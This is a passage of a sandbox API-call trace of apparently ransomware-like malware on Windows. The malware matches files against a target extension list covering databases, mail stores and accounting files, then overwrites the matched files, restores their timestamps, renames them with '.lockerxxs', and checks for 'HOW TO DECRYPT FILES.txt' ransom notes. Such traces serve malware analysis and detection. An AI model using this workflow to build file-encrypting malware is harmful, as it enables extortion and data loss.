Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.300] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.300] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.300] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBEeTuf[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg" [0083.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.ems") returned 0 [0083.301] lstrlenA (lpString="*.ems") returned 5 [0083.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.db") returned 0 [0083.301] lstrlenA (lpString="*.db") returned 4 [0083.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.dbf") returned 0 [0083.301] lstrlenA (lpString="*.dbf") returned 5 [0083.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.myox") returned 0 [0083.301] lstrlenA (lpString="*.myox") returned 6 [0083.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.myo") returned 0 [0083.301] lstrlenA (lpString="*.myo") returned 5 [0083.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.qbw") returned 0 [0083.301] lstrlenA (lpString="*.qbw") returned 5 [0083.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.qbb") returned 0 [0083.302] lstrlenA (lpString="*.qbb") returned 5 [0083.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.qbm") returned 0 [0083.302] lstrlenA (lpString="*.qbm") returned 5 [0083.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.qbo") returned 0 [0083.302] lstrlenA (lpString="*.qbo") returned 5 [0083.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.qbx") returned 0 [0083.302] lstrlenA (lpString="*.qbx") returned 5 [0083.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.qba") returned 0 [0083.302] lstrlenA (lpString="*.qba") returned 5 [0083.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.qby") returned 0 [0083.303] lstrlenA (lpString="*.qby") returned 5 [0083.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.qbj") returned 0 [0083.303] lstrlenA (lpString="*.qbj") returned 5 [0083.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.ofx") returned 0 [0083.303] lstrlenA (lpString="*.ofx") returned 5 [0083.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.qif") returned 0 [0083.303] lstrlenA (lpString="*.qif") returned 5 [0083.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.mye") returned 0 [0083.303] lstrlenA (lpString="*.mye") returned 5 [0083.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.mbox") returned 0 [0083.303] lstrlenA (lpString="*.mbox") returned 6 [0083.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.eml") returned 0 [0083.303] lstrlenA (lpString="*.eml") returned 5 [0083.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.pst") returned 0 [0083.304] lstrlenA (lpString="*.pst") returned 5 [0083.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.ost") returned 0 [0083.304] lstrlenA (lpString="*.ost") returned 5 [0083.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.idx") returned 0 [0083.304] lstrlenA (lpString="*.idx") returned 5 [0083.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.dbx") returned 0 [0083.304] lstrlenA (lpString="*.dbx") returned 5 [0083.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.sql") returned 0 [0083.304] lstrlenA (lpString="*.sql") returned 5 [0083.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.mdb") returned 0 [0083.304] lstrlenA (lpString="*.mdb") returned 5 [0083.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.fdb") returned 0 [0083.304] lstrlenA (lpString="*.fdb") returned 5 [0083.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.wab") returned 0 [0083.304] lstrlenA (lpString="*.wab") returned 5 [0083.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.dat") returned 0 [0083.305] lstrlenA (lpString="*.dat") returned 5 [0083.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.txt") returned 0 [0083.305] lstrlenA (lpString="*.txt") returned 5 [0083.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.jpeg") returned 0 [0083.305] lstrlenA (lpString="*.jpeg") returned 6 [0083.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", pszSpec="*.jpg") returned 1 [0083.305] lstrlenA (lpString="*.jpg") returned 5 [0083.305] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg" [0083.305] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg" [0083.305] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg." [0083.305] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg.lockerxxs" [0083.305] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetuf[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.307] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x952 [0083.307] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xbe4ca790, dwHighDateTime=0x1d2faf2), lpLastAccessTime=0x407536*(dwLowDateTime=0xbe4ca790, dwHighDateTime=0x1d2faf2), lpLastWriteTime=0x40753e*(dwLowDateTime=0xbe4ca790, dwHighDateTime=0x1d2faf2)) returned 1 [0083.307] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.307] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x92c, lpOverlapped=0x0) returned 1 [0083.309] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg") returned="BBEeTuf[1].jpg" [0083.309] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.309] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x92c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x92c, lpOverlapped=0x0) returned 1 [0083.310] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.310] CloseHandle (hObject=0xa4) returned 1 [0083.310] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetuf[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetuf[1].jpg.lockerxxs")) returned 1 [0083.311] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b76710, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b76710, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45b76710, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x7a9, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEeU5U[1].jpg", cAlternateFileName="BBEEU5~1.JPG")) returned 1 [0083.311] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.311] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEeU5U[1].jpg") returned 1 [0083.311] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEeU5U[1].jpg") returned 1 [0083.311] lstrcmpiA (lpString1="", lpString2="BBEeU5U[1].jpg") returned -1 [0083.311] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg") returned="BBEeTuf[1].jpg" [0083.311] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.311] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.311] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.311] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.311] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBEeU5U[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg" [0083.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.ems") returned 0 [0083.312] lstrlenA (lpString="*.ems") returned 5 [0083.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.db") returned 0 [0083.312] lstrlenA (lpString="*.db") returned 4 [0083.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.dbf") returned 0 [0083.312] lstrlenA (lpString="*.dbf") returned 5 [0083.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.myox") returned 0 [0083.312] lstrlenA (lpString="*.myox") returned 6 [0083.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.myo") returned 0 [0083.312] lstrlenA (lpString="*.myo") returned 5 [0083.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.qbw") returned 0 [0083.312] lstrlenA (lpString="*.qbw") returned 5 [0083.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.qbb") returned 0 [0083.312] lstrlenA (lpString="*.qbb") returned 5 [0083.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.qbm") returned 0 [0083.312] lstrlenA (lpString="*.qbm") returned 5 [0083.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.qbo") returned 0 [0083.312] lstrlenA (lpString="*.qbo") returned 5 [0083.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.qbx") returned 0 [0083.312] lstrlenA (lpString="*.qbx") returned 5 [0083.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.qba") returned 0 [0083.312] lstrlenA (lpString="*.qba") returned 5 [0083.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.qby") returned 0 [0083.312] lstrlenA (lpString="*.qby") returned 5 [0083.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.qbj") returned 0 [0083.313] lstrlenA (lpString="*.qbj") returned 5 [0083.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.ofx") returned 0 [0083.313] lstrlenA (lpString="*.ofx") returned 5 [0083.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.qif") returned 0 [0083.313] lstrlenA (lpString="*.qif") returned 5 [0083.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.mye") returned 0 [0083.313] lstrlenA (lpString="*.mye") returned 5 [0083.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.mbox") returned 0 [0083.313] lstrlenA (lpString="*.mbox") returned 6 [0083.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.eml") returned 0 [0083.313] lstrlenA (lpString="*.eml") returned 5 [0083.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.pst") returned 0 [0083.313] lstrlenA (lpString="*.pst") returned 5 [0083.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.ost") returned 0 [0083.313] lstrlenA (lpString="*.ost") returned 5 [0083.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.idx") returned 0 [0083.313] lstrlenA (lpString="*.idx") returned 5 [0083.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.dbx") returned 0 [0083.313] lstrlenA (lpString="*.dbx") returned 5 [0083.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.sql") returned 0 [0083.313] lstrlenA (lpString="*.sql") returned 5 [0083.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.mdb") returned 0 [0083.313] lstrlenA (lpString="*.mdb") returned 5 [0083.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg", pszSpec="*.fdb") returned 0 [0083.313] lstrlenA (lpString="*.fdb") returned 5 [0083.313] PathMatchSpecA 